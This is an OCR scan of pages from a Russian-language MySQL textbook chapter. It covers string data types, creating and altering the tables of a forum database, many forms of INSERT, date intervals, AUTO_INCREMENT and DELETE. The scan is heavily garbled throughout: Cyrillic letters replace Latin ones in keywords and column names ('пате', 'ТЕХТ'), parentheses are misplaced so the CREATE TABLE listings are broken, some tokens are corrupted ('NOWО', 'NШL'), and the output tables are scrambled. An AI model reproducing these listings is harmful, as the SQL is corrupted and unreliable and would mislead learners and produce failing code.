гл ава 2. Работа с СУБД MySQL - 115 Как в идно из табл . 2 .3, тип CНAR позволяет хранить строку фиксированной длиНЫ М - от О до 65 535. Его допол няет тип VARCHAR, позволяющий хра­ н ить переменные строки дл иной L, при это м под значение ячейки отводится L+п байт, где 11 байт предназ начены для хранения дл ины строки . При в ыборе для столбца строкового типа данных следует принимать во вни­ м ани е, что для хранения переменных строк VARCHAR требуется кол ичество байт, равное количеству символов в строке плюс один байт, в то время как тип CНAR (М), независимо от дл ины строки, испол ьзует дл я ее хранения все М байт. В то же время тип CНAR обрабатывается эффекти внее переменных типо в, так как всегда заранее известно, где заканчивается очередной блок данныХ (табл. 2.4). Та блица 2.4 . Ср авнение типов CHAR и VA RCHAR CHAR(4) VARCHAR(4) Значение предста в- занимаемый предста в- занимаемый ление объем ление объем памяти , байт памяти , байт ,, , , � ,, 1 'аЬ' , аЬ' 4 'аЬ' 3 ' abcd' 'abcd ' 4 'abcd ' 5 'abcde fgh ' 'abcd ' 4 'abcd ' 5 в од ной табл ице не допускается одн овременное создание стол бцов типа CHAR и VA RCHAR. В противном случае СУБД MySQL изменит тип стол бцов соглас­ н о правилу: если в табл ице присутствует хоть один стол бец переменной дл и­ НЫ, все столбцы типа CНAR приводятся к типу VAR CHAR . Типы BLOB И ТЕХТ В СУБД MySQL во всем аналогичны и отл ичаются только в детал ях. Например, при выполнении операций над стол бцами типа ТЕХТ ко­ дировка учитывается, а дл я столбцов типа BLOB - нет. ТИ П ТЕХТ обычно используется дл я хр анения больших объемов текста, в то время как BLOB - для больших двоичных объекто в, таких как электронные документы, изображения, звуки и т. д . К особым типам дан ных относятся ENUM и SET. Строки этих типов принимают знач ения из заранее задан ного списка допусти мых значений. Основное раз­ личие между ними закл ючается в том, что значение типа ENUM должно содер-
116 Часть 1. Общие вопросы жать точно один эл емент из указанного множества, тогда как стол бцы S ET могут содержать любой набор эл ементов од новременно. Так, ячейки стол бца , для которого объявлен тип дан ных ENUM ( ' у ' , 'n' ), могут принимать тол ь ко два значения : либо ' у ' , либо 'n' . Ячейки столбца с типом данных SET с тем же набором допустимых значений могут принимать значения ( ' у ' ,'n'), ('у ' ) , ( ' n ' ) И пустое множество (), где пустое множество означает, что н е выбран ни один из элементов. Типы ENUM и SET можно назвать строковыми лишь отчасти, так как при объ­ явлении они задаются списком строк, но во внутреннем представлении базы дан ных элементы множеств сохраняются в виде чисел . Элементы типа ENUM нумеруются последовательно, начиная с 1. В зависимости от количества эл ементов в списке под хранение ячеек стол б ца может отводиться 1 байт (до 256 эл ементов) или 2 байта (от 257 до 65 536). Эл ементы множества SET обрабатываются как биты, размер типа при это м таюке определяется кол ичеством эл ементов в списке: 1 байт (от 1 до 8 эле­ ментов), 2 байта (от 9 до 16), 3 байта (от 17до 24), 4 байта (от 25 до 32) или 8 байт (от 33 до 64). 2.6. Создание и удаление таблиц Оператор CREATE TAВ LE создает новую таблицу в выбранной базе данных и в простейшем случае имеет следующий синтаксис : CREATE TAВLE tabl e_name [(create_de finit ion , . ..)] Здесь table_name - имя создавае мой табл ицы . Создадим первую таблицу базы данных forum, «(;норая называется authors И содержит разл ичные дан ные о зарегистрированных посетителях форума: ник (пате); парол ь (pa ssw); е-шаil (emai l); Web-адрес сайта посетителя (url); номе р ICQ (icq); сведе ния о посетителе (about); строку, содержащую путь к файлу фотографии посетителя (photo); время добавления запроса (put date); послед­ нее время посещения форума (last_t ime ); статус посетителя (statususer) ­ является ли он модератором ('mode rator'), ад министрато ром ('admin') ил и обычным посетителем ('user'). Кроме перечисленных полей в табл ице имеется поле id_author, представляющее собой первичный кл юч табл ицы . SQL-запрос, создающий таблицу authors, приведен в листинге 2.11. Обрати­ те внимание, что поля, в которых хранятся короткие строки (имя пользовате­ ля, его пароль, е-шаi l, ICQ и т. п .), имеют тип дан ных TINYTEXT, который по-
глава 2. Работа с СУБД MySQL -- 117 з воля ет вводить не более 256 символов, тогда как под адрес домаш ней стра­ ниЦЫ и сообщение о себе выделяется поле с типом данных ТЕХТ, которое мо­ )l(eT содержать уже 65 536 символов. ЗАМЕЧАНИЕ Н е следует экономить, поскол ьку разница между ТЕХТ и TINYTEXT соста в­ ляет всего од ин байт. Так ка к эти поля обладают плавающим размером, информация не будет занимать лишней памяти. Листинг 2.1 1 . Созда ние таблицы au thors ба зы данных forum CREAТE TAВLE authors ); id author INТ(ll) NOT NUL L AUТO_INCREМENТ , пате TINYТEXТ, passw TINYТEXТ , eшail TINYТEXТ , url ТЕХТ, icq TINYТEXТ , about ТЕХТ , photo TINYТEXТ , putdate DAТETIМE DE FAULT NUL L , las t_time DAТETIМE DEFAULT NULL , themes INТ(10) DEFAULT NUL L , statususer ENUМ ('user' , ' moderator ' , ' admin ') NOT NUL L default ' user ' , PRIМARY КЕУ (id_a uthor) Выпол нив SQL-команду SHOW TAВLE S, можно убедиться, что табл ица authors успешно создана (листи нг 2. 12). Листинг 2.12. Использование оператора SHOW TAВ LES SHOW TAВLES; + - ----------------+ I Tables_in_forum I +- ----------------+ I authors +- - ---------------+
118 Часть 1. Общие вопрось/ Анал огичным образом создадим еще несколько необходимых дл я раБоты форума таблиц. Следующей по порядку идет табл ица forums , В кото рой с о­ держатся данные о разделах форума. ПРИМЕЧАНИЕ Для удобства на форуме может б ыть созда но нескол ько различных разде­ лов. К примеру, на форуме, посвященном языкам программирования , что­ б ы не смешивать те мы, относящиеся к различным языкам, имеет смысл создать следующие разделы: С++ , РНР, Java и т. д. в табл ице forums присутствуют сл едующие поля: первичный КЛЮЧ (id_ forum) ; название раздела (name); правила форума (rule); краткое опис а­ ние форума (logo); порядковый номер (po s) и флаг (hide), принимающий значение 'h i de', если форум скрыты й, и 'show', есл и он общедоступен. SQL-запрос, создающий табл ицу forums , приведен в листинге 2. 13. Листинr 2.13 . Созда ние та блицы forums CREAТE TAВLE forums ( ); id_forum INТ (l1) NOT NUL L AUТO_INCREМENТ , пате TINYТEXТ , rule ТЕХТ, logo TINYТEXТ , роз INТ (ll) DEFAULT NШL , hide ENUМ(,show', 'hide') NOTNUL L DEFAULT I show ' , Структура форума может быть следующей: имеется список разделов, пере­ ход по кото рому приводит посетителя к списку тем раздела. При переходе по теме посетител ь приходит к обсужде нию это й темы, состоящему из сообще­ ний других посетител ей. Теперь создадим табл ицу themes, содержащую тем ы форума (листинг 2.14). Листинr 2.14. Создание табл ицы theme s CREAТETAВLEthemes( id theme INТ(11) NOT NUL L AUТO_INCREМENТ ,
Гпа ва 2. Работа с СУБД My SQL ); пате TINYТEXТ, author TINYТEXТ , id_author INТ (ll) DE FAULT NUL L , hide ENUМ(,show' , 'hide') NOT NUL L DEFAULT ' show' , putdate DAТE TIМE DE FAULT NUL L , id_forum INТ (ll) defau1t NUL L , E'RIМARY КЕУ (id_theme) 119 в таблице theme s присутствуют следующие поля: первичный ключ (id_theme); название 1;емы (пате); автор темы (author); внешний ключ к таб­ ли це авторов ( id_author ) ; флаг (hide), принимающий значе ние 'hide', есл и тем а скрыта, и 'show', есл и она отображается (это поле необходимо для моде­ рирования); время добавления темы (p utdate) ; внешний ключ к табл ице фо­ румов ( id_forum) , для того чтобы определить, к какому разделу форума от­ носится дан ная тема. Табл ица themes нормализована тол ько частично; она содержит два внешних ключа: id_ author И id_forum для табл иц посетителей и списка форумов, в то же время в ней дубли руется имя автора author, присутствующее таюке в таб­ лице посетителей authors под именем пате . Этот случай является примером ум ышленной денормализации, необходимой дл я избежан ия запроса табл ицы авторов всякий раз при выводе списка тем и их авторов, что позволяет обес­ п ечить приемлемую скорость работы форума. Создад им последнюю табл ицу posts, В которой будут храниться сообщения (л истинг 2.15). Листинг 2.15. Созда ние табл ицы posts CR&AТE TAВLE posts ( idJ'ost INТ (11) NOT NUL L AUТO_INCREМENТ , name TINYТEXТ, url ТЕХТ, file TINYТEXТ , author TINYТEXТ , id_author INТ (ll) DE FAULT NUL L , hide ENUМ(, show' , 'hide') NOT NUL L DEFAULT 'show' , putdate DAТETIМE DE FAULT NUL L ,
120 ); parentyo st INТ (ll) DE FAULT NUL L , id_theme INТ (ll) DE FAULT NUL L , PRIМARY КЕУ (idyo st) Часть 1. Общие вопросы в табл ице posts присутствуют следующие поля : первичный кл юч (id_p ost ); тело сообщения ( пате) ; необязательная ссылка на ресурс, которую автор со­ общения может ввести при добавлении сообщения (url); путь К файлу, при­ крепляемому к сообщению (file); имя автора (author); внешний ключ к таб­ лице авто ров (id_author); флаг (h ide), принимающий значение 'hide', есл и сообщение скрытое, и 'show', если он отображается (это поле необходимо дл я модерирования); время добавления сообщения (putdate); сообщение, отве­ том на кото рое является данное сообщение (parent_p o st): если это первое сообщение в теме, то поле равно О; внешний кл юч к те ме (id_theme), указы­ вающий, к какой теме относится сообщение. Убедимся, что все табл ицы успешно создан ы, выполнив команду SHOW TAВLE S. Резул ьтат показан в листинге 2. 16. Листинг 2.16. Список таблиц базы да нных forum SHOW TAВLES ; +-- -------- ---- ---+ I Tables_in_forum I +------ --- ----- --- + authors forums pos ts themes +- -------- ----- ---+ Оператор DESCRIBE показы вает структуру созданных табл иц и имеет сл е­ дующий синтаксис: DESCRIBE table пате Здесь table_name - имя таблицы, структура которой запрашивается . ЗАМЕЧА НИЕ Оператор DESCRIBE не входит в ста ндарт SQL и является внутренней ко мандой СУБД MySQL.
глава 2. Работа с СУБД MySQL - 121 I1росмотреть структуру таблицы fo rums можно, выполнив SQL-запрос, при­ веденный в листинге 2. 17. ЛI4СТИНГ 2.1 7. Структура табл ицы forums mYsql> DE SCRIВE forums ; +- -- - --- ---+ ---------------- -- - - - +- -- - --+- -- - -+ - --- -----+------- -------- + I Field I Туре I Null I Кеу I Default I Extra +-- - -------+---------------------+------+-----+---------+---------------+ id_fo rum int (ll) NO PRI NULL auto_increment l пате tinytext YES NULL rul e text YES NULL logo tinytext YES NULL pos int (11) YES NULL hide епuш( ' show' , 'hide' ) NO show +----------+---------------------+------+-----+- --------+---------------+ Изменить структуру табл ицы позволяет оператор ALТ ER TABLE . С его по­ мо щью можно добавлять и удалять стол бцы, создавать и уничтожать индек­ с ы , переименовывать стол бцы и саму табл ицу. Оператор имеет сл едующий с и нтакс ис: A1TE R TAВLE table_naтe alter_s pec Наи более часто используемые значения параметра alter_spec приводятся В табл. 2.5. Та блuца 2.5 . Основные преобразованuя, выполняемые оператором AL TER TAВLE Синта ксис Описа ние команды АОО create-de finit ion Добавляет новый столбец. create defini tion - [FIRST I AFTER column_name ] представляет собой название нового столбца и его ти п. Ко нструкция FIRST добавляет новый стол бец перед стол бцом со1 шnn_п ате , ко нст- рукция AFTER - после него . Если место добав- ления не указано, столбец добавляется в ко нец табл ицы ADD INDEX [index_name ] Добавляет индекс index_пате для столбца ( index_col_name , . ..) index_c o l_naтe . Если имя индекса index_пате не указывается , ему присваивается имя, сов падающее с именем столбца index col пате - -
122 Часть 1. Общие вопрось/ Та блuца 2. 5 (окончание) Синта ксис Описа ние команды АОО PRIМARY КЕУ Делает столбец index_со1_name или группу (index_co1_name , .. .) стол бцов первичным кл ючом табл ицы CНANGE old со1 name Заменяет столбец с именем old_co 1_n ame на - - new_co 1_name type стол бец с именем new_co 1_n ame и ти пом typ e DROP со1 name Удаляет столбец с именем co1_name - DROP PRIМARY КЕУ Удаляет первичный ключ табл ицы DROP INDEX index name Удаляет индекс index_n ame - Добавим в табл ицу forums новый столбец test (листинг 2. 1 8), разместив е го после столбца name . Листинг 2.18 . Добавление столбца в таблицу ALТER ТAВLE forums ADD test INТ(10) AFТER пате; DESCRIВE forums ; +----------+---- -------- ---------+- - -- - -+- - ---+---------+ --------- ------+ I Fie1d I Туре I Nu11 I Кеу I Defau1t I Extra +----------+ ------ --------- ---- - -+- -- - - -+-----+------ ---+------------- --+ id forum int (11) NO PRI NULL auto_increment l name tinytext YES NULL test int (10) YES NULL ru1e text YES NULL logo tinytext YES NULL pos int (11) YES NULL hide enum( 'show' , 'hide' ) NO show +----------+--- ------- -- - - - -- - - - -+- - - - - -+ -- - - -+- -- ---- --+--- ----------- -+ Переименуем созданный столбец test В текстовый стол бец new_ test (лис­ тинг 2. 19). Листи нг 2. 19. Переименова ние столбца ALТER TAВLE forums CНAN(;E test new test ТЕХТ; DESCRIВE forums ;
гл ава 2. Работа с СУБД MySQL 123 - +-- - - --- ---+--- -------------- ----+- - - - --+-----+---------+ ---------------+ I Field I Туре I Null I Кеу I Default I Extra +--- - ------+ --------------- -- - -- -+- - - - - -+- - - - -+- ---- ----+---------------+ id_fo rum int (ll) NO PRI NULL auto_increment l паше tinytext YES NULL new_t est text YES NULL rul e text YES NULL logo tinytext YES NULL pos int (11) YES NULL h ide епит(,show' , 'hide') NO show +-- - - --- ---+ ----- -------- - - - - - - - -+- - - - - -+-----+ ---------+--------- ------+ При изменении только типа столбца указание и мени все равно необходи мо, хотя в этом случае оно будет фактически повторяться (листинг 2.20). Л истинг 2.20. Изменение ти п а стол бца ALТER TAВLE forums CНANGE new test new test INТ(5) NOT NUL L ; DE SCRIВE forums ; +- ---------+---------------------+------+-----+---------+---------------+ I Field I Туре I Null I Кеу I Default I Extra +- - -- - - - -- -+- ---------------- ----+- -- - - -+-- - - -+- - -- -----+---------------+ id forum int (11) NO РЮ NULL auto_increme nt l паше tinytext YES NULL new test int (5) NO ru le text YES NULL logo tinytext YES NULL pos int (11) YES NULL hide enum( 'show' , 'hide' ) NO show + ----------+-- ----------------- --+- - - - - -+- - - - -+- ---- ----+---------------+ Теперь удалим стол бец new_ test (л истинг 2.2 1). Л истинг 2.21 . Удаление столбца из таблицы ALТER TAВLE forums DROP new_te st; DESCRIВE forums ; + - - - -- - -- --+----- ------------- ---+- - - - --+- - - - -+- --- --- --+--------- ------+ I Field I Туре I Null I Кеу I Default I Extra +- - - -------+---------------------+------+-----+---------+---------- -----+
124 Часть 1. Общие вопросы id forum int (11) NO PRI NULL auto_incrementl пате tinytext УЕЗ NULL rule text УЕЗ NULL logo tinytext УЕЗ NULL роз int (11) УЕЗ NULL hide enum( ' show' , 'hide' ) NO show +----------+------ ----- - - -- - - - - --+ - - ----+-----+---------+-------- -------+ Оператор DROP TAВLE предназначен ДfIЯ удаления одной ил и нескольких табл иц: DROP TAВLE table_naтe [ ,table_naтe , ...] Например, дл я удаления табл ицы forums необходимо выполнить SQL-запрос , представл енный в листинге 2.22 . Листинг 2.22. Удаление та бл ицы fоrшns rnysql> DROP TAВLE forums ; 2.7. Вставка ч исл овых значени й в табл и цу Для вставки записи в табл ицу испол ьзуется оператор INSERT. Однострочный оператор INSERT может использоваться в нескольких формах. Упрощенный синтаксис первой формы выглядит следующим образом: INSERT [ IGNORE ] [ INTO] tbl [(СОl_паmе , . ..)] VALUES (expression , ...) З АМЕЧАНИЕ При описании синтаксиса операторов ключевые сл ова, кото рые не являются обязательными и могут быть опущены , заключаются в квадратные скобки . Создадим табл ицу tbl, состоящую из двух числовых столбцов: id, кото рый по умолчанию будет иметь значение 5, и id_cat, который будет принимать по умолчанию значение NULL (листинг 2.23). Листинг 2.23. Таблица tbl CREAТETAВLEtbl( ); id INТ(ll) NOT NUL L DEFAULT ' 5 ', id cat INТ (ll) DEFAULT NUL L
� � а � в а�2 _ .Р _ а_ б _ о _ m _ а_ с _С _� _Б � Д � М � у _ S � Q _ L ________ __ ____________________ __ __ _ 1 _ 2_5 существует несколько вариантов использования оператора INSERT, каждый ИЗ которых приводит К встав ке новой записи (листинг 2.24). листинг 2.24. Вста вка записей при помощи операто ра INSERT INSERT INТO tbl VALUES (10, 20) ; INSERT INТO tbl (id_cat, id) VALUES (10 , 20) ; INSERT INТO tbl (id) VALUES (30) ; INSERT INТO tbl () VALUES () ; Про в ерить результат вставки новых записей в таблицу можно при помощи оператора SELECT (листинг 2.25), синтакс ис которого подробно разбирается далее в этой главе. Л и стинг 2.25 , П росмотр содержимого та блицы SELECT * FROM tbl; t- ---+ - ---- ---+ IidIid_catI t ----+ --- -----+ 10 20 20 10 30 NULL 5 NULL t ----+--- -----+ Рассмотр им разл ичные формы операто ра INSERT из листинга 2.24 более под­ робно . Первая форма оператора INSERT из листинга 2.24 вставляет в табл ицу tbl запись (1 О, 20), столбцы получают значения по порядку из круглых ско­ бок, следующих за ключевым словом VALUE S. Есл и значений в кругл ых скоб­ ках будет больше ил и меньше, чем столбцов в табл ице, то сервер MySQL вернет ошибку Column count doesn't match value count at row 1 (Не совпа­ дает количество значений и столбцов в запросе) . Порядок занесения значений в запись можно изменять. Для этого следует за­ дать порядок следования столбцов в дополнител ьных кругл ых скобках после имени табл ицы. В листи нге 2.24 второй оператор INSERT меняет порядо к за­ н есе ния значений: первое значение получ ает второй стол бец i d_c at, а второе з начение - первый столбец id. Част ь стол бцов можно опускать из списка - в это м случае они получают зн ачение по умолчанию. В листинге 2.24 в третьем операторе запол няется
126 Часть 1. Общие вопросы лишь поле id, при этом поле id_cat получает значение по умолчанию ­ NULL. Четвертый оператор вообще не содержит значений, в это м случае все столбцы табл ицы tbl получат значения по умолчанию, которые определяет ключевое слово DE FAU LT (см. листинг 2.23). Эффекта последнего оператора можно добиться, если использовать вместо значений кл ючевое сл ово DEFAULT . В листинге 2.26 оба оператора эквивалентны. Листинг 2.26. Использование ключевого спова DE FAULT INSERT INТO tbl () VALUES () ; INSERT INТO tbl (id, id cat) VALUES (DE FAULT , DE FAULT ); Приведенная в листинге 2.24 форма оператора INSERT является стандартной и поддерживается всеми СУБд, которые реализуют стандарт SQL. Однако СУБД My SQL поддержи в ает альтернативный синтаксис оператора INSERT (листинг 2.27). Листинг 2.27 . Альте рнати вный синтакс ис оператора INSERT INSERT INТO tbl SET id = 40, id_cat = 50; INSERT INТO tbl SET id = 50; Как видно из листинга 2.27, значения присваи ваются столбцам при помощи ключевого сл ова SET; не указанные в операторе стол бцы принимают значе­ ние по умолчанию. 2.8. Вста вка строковых з нач е ний в таблицу Создадим табл ицу catalogs, которая будет содержать два стол бца: числовой столбец id_ catalog И текстовый столбец пате (листинг 2.28). Листинг 2.28. Созда ние табл ицы catalogs CREAТE TAВLE catalogs ( id_catalog INТ(ll) NOT NШL , пате TINYТEXТ NOT NUL L ); Добавить новую запись в табл ицу catalogs можно при помощи запроса, представл енного в листи нге 2.29.
гл ава 2. Работа с СУБД My SQL - л ист инг 2.29. Добавление НОВОЙ записи в таблицу ca talogs INSERT INТO catalogs VALUES (1 , 'Процессоры ' ) ; SELECT * FROМ catalogs ; +--- - -- --- ---+ ------------+ I id_catalog I пате +-�- - - -------+ ------------+ 1 I Проце ссары I +--- ---------+ ---� ----- ---+ 127 Как в идно из листинга 2.29, в таблицу catalogs добавилась новая запись с л ер в ичным кл ючом id_catalogs, равным единице , и значением поля nаше ­ "Процессоры". Строковые значения необходи мо помещать в кавычки, в то время как числовые значения допускается использовать без них. Вместо од иночных кав ыче к можно использовать двойные кавычки (лис­ ти нг 2.30). Когда в те ксто вое поле н е обходимо вставить стро ку, соде ржащую двойные кавычки, можно использовать для обрамления строки оди ночные кав ычки и наоборот. Л ИСТИНГ 2.30. Использова ние ДВОЙНЫХ кавычек INSERT INТO catalogs VALUES (2 , "Память") ; SELECT * FROM catalogs ; + ------------+ ------- -----+ I id_catalog I пате + ------------+ ------- -----+ 1 I Проце ссары I 2IПамять + ------------+ ----- -------+ В не которых случаях (например, при использовании одинаковых кав ычек в каче стве обрамляющих и внутр и вводимой строки) следует прибегнуть к эк­ ранированию внутренних кавычек, то есть помещению сим вола \ перед ка­ вы чками, Вl\Люченными в строку (л истинг 2.3 1). ЗАМЕЧАНИЕ П ри помещении в базу данных текста , набранного пользователем, всегда следует экранировать ка вычки , для того чтобы предотвр атить возникнове­ ние ошибки и атаку SQL-инъекциеЙ.
128 Листинг 2.31 . Экранирование кавычек INSERT INТO catalogs VALUES (3 , "Память \"DDR\"") ; SELECT * FROМ catalogs ; +------------+--------------+ I id_catalog I пате +------------+--------------+ 1 Проце ссоры 2IПамять 3 I Память "DDR" +------------+--------------+ Часть 1. Общие вопрось/ 2.9. Вставка календарных з начений в общем случае вставка календарных значений мало чем отличается от вставки стр ок, однако этот тип данных не случайно выделяют в отдел ьный кл асс. Соз­ дадим табл ицу tbl, которая будет содержать числовое поле id и два календар­ ных поля : putdate типа DATET IME и lastdate типа ОАТЕ (листинг 2.32). Листинг 2.32 . Созда ние таБлицы tbl СRБAТЕТАВLБtbl( ); id INТ(ll) NOT NUL L , putdate DAТE TIМE NOT NUL L , lastdate DAТE NOT NUL L в листинге 2.33 приводится пример вставки записи в табл ицу, содержащую стол бцы календар ного типа. Листинг 2.33. Вставка календарных зна чен ий INSERT INТO tbl VALUES (1 , '2007-01-03 0:00:00' , '2007-01-03 ') ; SELECT * FROМ tbl; +----+---------------------+------------+ I id I putdate I lastdate +----+---------------------+------------+ 1 I 2007-01-03 00 :00:00 I 2007-01-03 I +----+---------------------+------------+
глава 2. Работа с СУБД MySQL 129 Есл и столбцу передается "лишняя" информация, то она отбрасывается . В л истинге 2.34 в столбец типа DAT E передаются часы, минуты и секунды, однако в столбец попадает тол ько информация о дате . Листинг 2.34. Отбрасывание "лишней" информации INSERT INТO tbl VALUES (2 , ' 2007-01-03 0:00:00 ', '20 07-01-03 0:00:00'); SELECT * FROM tbl; +--- -+---------------------+------------+ 1 id 1 putdate 1 lastdate +- - - - +- - ------- ------- - -- --+-- ------ --- -+ 1 1 2007-01 -03 00 :00:00 1 2007-01-03 1 2 1 2007-01-03 00 :00:00 1 2007-01-03 1 +--- - +---------------------+------------+ Зачастую календарные поля предназначены для того, чтобы пометить момент вставки записи в базу данных. Для получения текущего времени удобно вос­ пользоваться встроенной функцией MySQL - NOW (). в листинге 2.35 при п омощи функции NOW () в таблицу tbl вставляется запись с текущей времен­ ной меткой. Листинг 2.35. Использование функции NOW () INSERT INТO tbl VALUES (3, NOWO , NOWO); SELECT * FROM tbl; +-- - -+--- --- ----------- ----+- --- ----- ---+ 1 id 1 putdate 1 1astdate +----+------- ---- -------- --+-- --- - -- - - - - + 1 2007-01-03 00 :00:00 2007-01-03 1 , 2 2007-01-03 00 :00:00 2007-01-03 3 2007-01-03 15 :03:33 2007-01-03 +----+---------------------+------------+ Вычисление текущего времени в рамках одного SQL-запроса производится только од ин раз, сколько бы раз они не вызывались на протяжении данного запроса. Это приводит к тому, что временное значение в рамках всего запро­ са о стается постоянным. Для получения сдвига даты относител ьно текущей можно прибавлять и вы­ ч итать интервалы. Для этого используется ключевое слово INTERVAL, после которого следует временной интервал . В листинге 2.36 в поле putdate поме-
130 Часть 1. Общие вопросы щается дата, эквивалентная началу 2007 года за вычето м 3 недел ь , а в пол е lastdate помещается дата, равная текущей плюс 3 месяца. Листинг 2.36. Использование интервалов INSERT INТO tbl VALUES (4 , '20 07-01-01 0:00:00' - INТERVAL 3 WEEK , NOWО+INТERVAL3MONТН); SELECT * FROM tbl; +----+ --- - - --- - - ------ -----+ --- ---------+ I id I putdate I lastdate +----+- ---- ------ ------ ----+ ---- - - - - --�-+ 1 2007-01-03 00 :00:00 2007-01-03 2 2007-01-03 00 :00:00 2007-01-03 3 2007-01-03 15 :03:33 2007-01-03 4 2006-12 -11 00 :00:00 2007-04-03 +----+ ----- ----- -----------+ ------------+ Как видно из листинга 2.36, интервалы могут быть разл ичного типа. Полный список допусти мых интервалов приводится в табл . 2 .6 . Та блица 2. 6. Типы временных интервалов Тип О писа ние Формат ввода MICROSECOND Микросекунды хххххх SECON D Секунды ss MINUTE М инуты mm HOUR Ч асы hh DAY ДНИ DD WEEK Недел и WW MONTH Месяцы мм QUARTER Квартал QQ YEAR Год УУ SECOND MICROSECOND Секунды и микросекунды 'ss.xxxxxx ' -
гпава 2. Работа с СУБД MyS QL 131 - Та блица 2. 6 (окончание) ,. .... ТИП О писа ние Формат ввода M I N U TE_MICROSECOND М инуты , секунды и микросе- 'rnrn: ss .xxxxxx ' кунды МINU TE_SECOND Минуты И секунды 'rnrn:ss' HOUR_M ICROSECON D Ч асы, минуты, секунды 'hh:rnrn: ss .xxxxxx ' И микросекунды HOUR_SECOND Часы, минуты и секунды 'hh:rnrn: ss ' HOUR_M INUTE Ч асы и минуты 'hh:rnrn' DAY_MICROSECOND Дни, часы, минуты , секунды 'ОО и микросекунды hh:rnrn:ss. xxxxxx ' DAY_SECOND Дни, часы , минуты и секунды 'оо hh:rnrn:ss' ОАУ MINUTE Дни, часы и минуты 'ОО hh :rnrn' ОАУ HOUR ДНИ И часы 'оо hh' YEAR_MONTH Года и месяцы 'УУ-ММ ' 2.1 0. Вставка ун икальных значе ний Первичный ключ таблицы ( PRIМARY КЕУ) ил и столбец, индексированный ун икальным индексом (UN I QUE) , не могут иметь повторяющихся значений. Вставка записи со значением, уже имеющимся в табл ице, приводит к возник­ новению ошибки (листинг 2.37) . Листинг 2.37. Значения перви чного ключа должны быть уника льными CREAТETAВLEtbl( ); id INТ(11) NOT NUL L , патеTINYТEXТNOTNUL L , PRIМARY КЕУ (id) INSERT INТO tbl VALUES (1 , ' ВИдеоадаптеры ') ; INSERT INТO tbl VALUES (1 , 'ВИдеоадаптеры ') ; ERROR 1062 (23000) : Dup1icate entry '1' for key 1
132 Часть 1. Общие вопросы Если необходимо, чтобы новые записи с дубл ирующим ключом отб расы ва­ лись без генерации ошибки, следует добавить после оператора INSERT клю­ чевое слово IGNORE . Листинг 2.38 . Использование кл ючевого слова IGNORE INSERT IGNORE INТO tbl VALUES (1 , 'ВИдеоадаптеры ') ; SELECT * FROM tыli +----+-- ---- --- -- ----+ IidIпате +----+----- ----- -----+ 1 I Виде оадаптеры I + ----+-- ----- ----- ---+ Как видно из листинга 2.38, генерации ошибки не происходит, тем не менее, новая запись также не добавляется. 2.1 1. Механизм Аито INCREMEN T При добавлении новой записи с уникальными индексами выбор такого уни­ кального значения может быть непростой задачей. Для того чтобы не осуще­ ствлять дополнительный запрос, направленный на выявление максимального значения первичного ключа для создания нового уникального значения, в My SQL введен механизм его автоматической генерации. Дл я этого достаточ­ но снабдить первичный ключ атрибутом АИТО_ INCREMENT, после чего при соз­ дании новой записи достаточно передать данному стол бцу в качестве значе­ ния NULL или О - поле автоматически получ ит значение, равное максимальному значению в столбце, плюс единица. В листинге 2.39 создает­ ся табл ица tb l, состоящая из первичного ключа id и те ксто вого поля п ате . Первичный ключ id снабжен атр ибутом AUTO_INCREMENT. Листинг 2.39. Де йствие меха низма AUТO_INCREМENT CREAТEТАВLШtыl( ); id INТ(l1) NOT NUL L АUТО_ШCREМENТ , пате TINYТEXТ NOT NШL, PRIМARY КЕУ (id)
Глава 2. Работа с СУБД MySQL 1ЗЗ INSERT INТO tbl VALUES (NUL L , 'Процессоры' ); INSERT INТO tbl VALUES (NUL L , 'матеРИНСJ(Ие платы ') ; INSERT INТO tbl VALUES (NUL L , 'ВИдеоадаптеры ') ; SELECT * FROM tbl ; +-- - - + -- --- --------------+ IidIпате +---- + - - -----------------+ 1 Проце ссоры 2 I Материнские платы I 3 I Видеоадаптеры + -- -- + ------- -- ----------+ 2 . 12. Мно гостроч ный оператор INSER T Многострочный оператор INSERT совпадает по форме с однострочны м опера­ тором. В нем испол ьзуется ключевое слово VALUE S, после которого добавля­ ется не од ин, а несколько списков exp ression. В листинге 2.40 добавляется сразу пять записей при помощи одного оператора INSERT. ЗАМЕЧАНИЕ Как и в одн острочной версии оператора INSERT, допускается использова­ ние кл ючевого слова IGNORE дЛЯ игнорирования записей, значения уни­ кальных индексов которых совпадают с одн им из уже имеющихся в таблице значений. Листинг 2.40. Многострочный оператор INSERT CREAТE TAВLE catalogs ( id_ca talog INТ(ll) NOT NUL L , пате T!NYТEXТ NOT NUL L PR1МARY КЕУ (id) ); INSERT INТO catalogs VALUE S (О , 'Процессоры ' ), ( О , 'матеРИНСJ(Ие платы ') , (О, ' ВИдеоадаптеры ') , (О, 'ЖеСТJ(Ие ДИСJ(И') , (О , ' Оперативная память') ;
134 Часть 1. Общие вопросы Как и в случае однострочного варианта, допус кается изменять порядок и со­ став списка добавляемых значений (листинг 2.41). Листинг 2.41 . Изменение соста ва столбцов в многострочном INSERT INSERT INТO catalogs (name) VALUES ( ' Процессоры ' ) , ( 'Материнские l1JIa'l'Ы' ) , ( 'Видеоадаптеры ' ) , ('Же сткие диски ' ), ('Оперативная память') ; 2.13. Удал ени е данных Время от времени возникает задача удал ения записей из базы данных, дл я которой предназнач ены следующие два оператора: О DELETE - удал ение всех ил и части записей из табл ицы; О TRUNCATE TAВLE - удал ение всех записей из таблицы . Оператор DELETE имеет следующий си нтаксис: DELETE FROM tbl WНERE wh ere dеfiлitiол ORDER ВУ ... LIMIT rows Оператор удаляет из табл ицы tbl записи, удовлетворяющие условию wh еrе_dеfiлi tiол. В листинге 2.42 из табл ицы catalogs удаляются записи, значение первичного кл юча id которых больше двух. Листинг 2.42. Удаление записей из табл ицы ca"t;a logs DELEТE FROM catalogs WНERE id > 2; SEr�CT * FROM catalogs ; +----+---- --- ---- --- -----+--------------- ------+ IidIпате I putdate +----+ ------ ----- --------+---------------------+ 1 I Процессоры 2005-01-19 21 :40:30 2 I Материнские платы 2005-02 -1 9 10 :30:30 +----+ ------- ------ ------+---------------------+
